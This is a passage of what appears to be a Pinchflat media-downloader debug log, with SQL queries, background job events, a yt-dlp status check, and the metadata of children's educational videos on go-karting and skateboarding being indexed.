13:14:51.564 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=12.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10387] 13:14:51.565 [debug] Current batch of media processed. Will check again in 1000ms 13:14:52.565 [debug] Current batch of media processed. Will check again in 1000ms 13:14:53.566 [debug] Current batch of media processed. Will check again in 1000ms 13:14:54.567 [debug] Current batch of media processed. Will check again in 1000ms 13:14:55.568 [debug] Current batch of media processed. Will check again in 1000ms 13:14:56.569 [debug] Current batch of media processed. Will check again in 1000ms 13:14:57.575 [debug] Current batch of media processed. Will check again in 1000ms 13:14:58.581 [debug] Current batch of media processed. Will check again in 1000ms 13:14:59.585 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get ready to GO, GO, GO with Ozzie & Nomes!\n\nBuckle up for a super-fun Go Kart Racing Song for Kids as Ozzie & Nomes hit the eKarting track and race to see who will become the champion!\n\nZoom around the track, steer through the corners and race towards the finish line as you sing, dance and cheer along. It’s Ozzie vs Nomes β€” but who will take home the trophy?\n\nWill Ozzie race to victory? Can Nomes speed past him and take the win? There’s only one way to find out!\n\nMusic is a fun way to learn, move and discover new things. So buckle up, get ready to race and shout it loud:\n\nGO KART, GO GO GO!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and high-speed fun.\n\nKids will learn about:\nβ€’ How go kart racing works\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ go karting for kids\nβ€’ go kart song for kids\nβ€’ eKarting for kids\nβ€’ racing song for kids\nβ€’ go kart racing for kids\nβ€’ go karts explained for kids\nβ€’ racing for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen. \n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke! \nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 153, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-19 - GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!.mp4", "id" => "OWjrZPxsrE4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OWjrZPxsrE4", "playlist_index" => 5, "timestamp" => 1787148026, "title" => "GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!", "upload_date" => "20260819"} 13:14:59.587 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=125.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:14:59.588 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=126.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:59.591 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=127.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-19 14:00:26Z], 7] 13:14:59.597 [debug] QUERY OK source="media_items" db=4.1ms queue=0.1ms idle=131.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready to GO, GO, GO with Ozzie & Nomes!\n\nBuckle up for a super-fun Go Kart Racing Song for Kids as Ozzie & Nomes hit the eKarting track and race to see who will become the champion!\n\nZoom around the track, steer through the corners and race towards the finish line as you sing, dance and cheer along. It’s Ozzie vs Nomes β€” but who will take home the trophy?\n\nWill Ozzie race to victory? Can Nomes speed past him and take the win? There’s only one way to find out!\n\nMusic is a fun way to learn, move and discover new things. So buckle up, get ready to race and shout it loud:\n\nGO KART, GO GO GO!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and high-speed fun.\n\nKids will learn about:\nβ€’ How go kart racing works\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ go karting for kids\nβ€’ go kart song for kids\nβ€’ eKarting for kids\nβ€’ racing song for kids\nβ€’ go kart racing for kids\nβ€’ go karts explained for kids\nβ€’ racing for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen. \n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke! \nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!", "c0ac2e10-c498-4d88-bfd9-9ee786b572c7", 153, false, "OWjrZPxsrE4", "https://www.youtube.com/watch?v=OWjrZPxsrE4", 5, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-19 - GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!.mp4", false, false, false, 7, [], 98, ~U[2026-08-19 14:00:26Z], ~U[2026-09-03 03:14:59Z], ~U[2026-09-03 03:14:59Z], "Get ready to GO, GO, GO with Ozzie & Nomes!\n\nBuckle up for a super-fun Go Kart Racing Song for Kids as Ozzie & Nomes hit the eKarting track and race to see who will become the champion!\n\nZoom around the track, steer through the corners and race towards the finish line as you sing, dance and cheer along. It’s Ozzie vs Nomes β€” but who will take home the trophy?\n\nWill Ozzie race to victory? Can Nomes speed past him and take the win? There’s only one way to find out!\n\nMusic is a fun way to learn, move and discover new things. So buckle up, get ready to race and shout it loud:\n\nGO KART, GO GO GO!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and high-speed fun.\n\nKids will learn about:\nβ€’ How go kart racing works\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ go karting for kids\nβ€’ go kart song for kids\nβ€’ eKarting for kids\nβ€’ racing song for kids\nβ€’ go kart racing for kids\nβ€’ go karts explained for kids\nβ€’ racing for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen. \n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke! \nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!", 153, false, "OWjrZPxsrE4", "https://www.youtube.com/watch?v=OWjrZPxsrE4", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-19 - GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!.mp4", false, 7, ~U[2026-08-19 14:00:26Z]] 13:14:59.599 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=95.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:59.599 [debug] QUERY OK source="media_profiles" db=0.2ms idle=12.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:59.600 [debug] QUERY OK source="media_items" db=0.2ms idle=11.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10035] 13:14:59.600 [debug] Current batch of media processed. Will check again in 1000ms 13:15:00.601 [debug] Current batch of media processed. Will check again in 1000ms 13:15:00.933 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:01.603 [debug] Current batch of media processed. Will check again in 1000ms 13:15:02.608 [debug] Current batch of media processed. Will check again in 1000ms 13:15:03.529 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405303528755745,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:15:03.530 [debug] QUERY OK source="media_items" db=0.4ms idle=65.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:15:03.530 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:15:03.531 [debug] QUERY OK source="sources" db=0.2ms idle=67.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:03.531 [debug] QUERY OK source="media_profiles" db=0.2ms idle=67.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:03.532 [debug] QUERY OK source="media_items" db=0.3ms idle=11.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:15:03.535 [debug] QUERY OK source="media_metadata" db=0.4ms idle=6.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:15:03.535 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:03.536 [debug] QUERY OK source="settings" db=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:03.536 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:03.536 [debug] Running yt-dlp command for action: get_downloadable_status 13:15:03.538 [debug] QUERY OK source="settings" db=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:03.538 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:03.538 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:03.538 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7c/93/7c9361b15c93a55b7f318a1dd0850d503b24ddd68328c9f0df25a7ce1541c1e3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:15:03.610 [debug] Current batch of media processed. Will check again in 1000ms 13:15:04.611 [debug] Current batch of media processed. Will check again in 1000ms 13:15:05.614 [debug] Current batch of media processed. Will check again in 1000ms 13:15:06.619 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Grab your skateboard and Share the Stoke with Ozzie & Nomes! πŸ›ΉπŸ€™\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIn this action-packed skateboarding adventure, Ozzie teams up with Nomes to learn how to skateboard β€” from the very first step onto the board to trying some awesome beginner tricks!\n\nJoin Ozzie & Nomes at the skatepark as they learn how to stand on a skateboard, find their balance, push, turn and stop safely. Then it's time to build some confidence and give a few tricks a go!\n\nCan Ozzie master the basics and land a trick? Come skate with us and find out!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love skateboarding, sport, movement and learning new skills.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push, turn and stop safely\nβ€’ Basic skateboarding skills and beginner tricks\nβ€’ Building confidence through practice and giving things a go\n\nTopics kids will learn about in this video:\n\nβ€’ Skateboarding For Kids\nβ€’ Learn To Skateboard For Kids\nβ€’ Skateboarding Basics For Kids\nβ€’ How To Ride A Skateboard\nβ€’ Skateboard Tricks For Beginners\nβ€’ Skateboard Balance For Kids\nβ€’ Skatepark Skills For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen", "duration" => 2100, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-16 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke.mp4", "id" => "8MpUQxmQ304", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8MpUQxmQ304", "playlist_index" => 6, "timestamp" => 1786856418, "title" => "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke", "upload_date" => "20260816"} 13:15:06.622 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=1154.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:06.623 [debug] QUERY OK source="sources" db=0.2ms idle=1158.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:06.625 [debug] QUERY OK source="media_items" db=1.7ms idle=1158.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 05:00:18Z], 7] 13:15:06.629 [debug] QUERY OK source="media_items" db=3.2ms idle=1097.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Grab your skateboard and Share the Stoke with Ozzie & Nomes! πŸ›ΉπŸ€™\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIn this action-packed skateboarding adventure, Ozzie teams up with Nomes to learn how to skateboard β€” from the very first step onto the board to trying some awesome beginner tricks!\n\nJoin Ozzie & Nomes at the skatepark as they learn how to stand on a skateboard, find their balance, push, turn and stop safely. Then it's time to build some confidence and give a few tricks a go!\n\nCan Ozzie master the basics and land a trick? Come skate with us and find out!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love skateboarding, sport, movement and learning new skills.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push, turn and stop safely\nβ€’ Basic skateboarding skills and beginner tricks\nβ€’ Building confidence through practice and giving things a go\n\nTopics kids will learn about in this video:\n\nβ€’ Skateboarding For Kids\nβ€’ Learn To Skateboard For Kids\nβ€’ Skateboarding Basics For Kids\nβ€’ How To Ride A Skateboard\nβ€’ Skateboard Tricks For Beginners\nβ€’ Skateboard Balance For Kids\nβ€’ Skatepark Skills For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke", "0feaad29-c40d-41d5-9c3c-a13b11e11213", 2100, false, "8MpUQxmQ304", "https://www.youtube.com/watch?v=8MpUQxmQ304", 6, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-16 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke.mp4", false, false, false, 7, [], 98, ~U[2026-08-16 05:00:18Z], ~U[2026-09-03 03:15:06Z], ~U[2026-09-03 03:15:06Z], "Grab your skateboard and Share the Stoke with Ozzie & Nomes! πŸ›ΉπŸ€™\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIn this action-packed skateboarding adventure, Ozzie teams up with Nomes to learn how to skateboard β€” from the very first step onto the board to trying some awesome beginner tricks!\n\nJoin Ozzie & Nomes at the skatepark as they learn how to stand on a skateboard, find their balance, push, turn and stop safely. Then it's time to build some confidence and give a few tricks a go!\n\nCan Ozzie master the basics and land a trick? Come skate with us and find out!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love skateboarding, sport, movement and learning new skills.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push, turn and stop safely\nβ€’ Basic 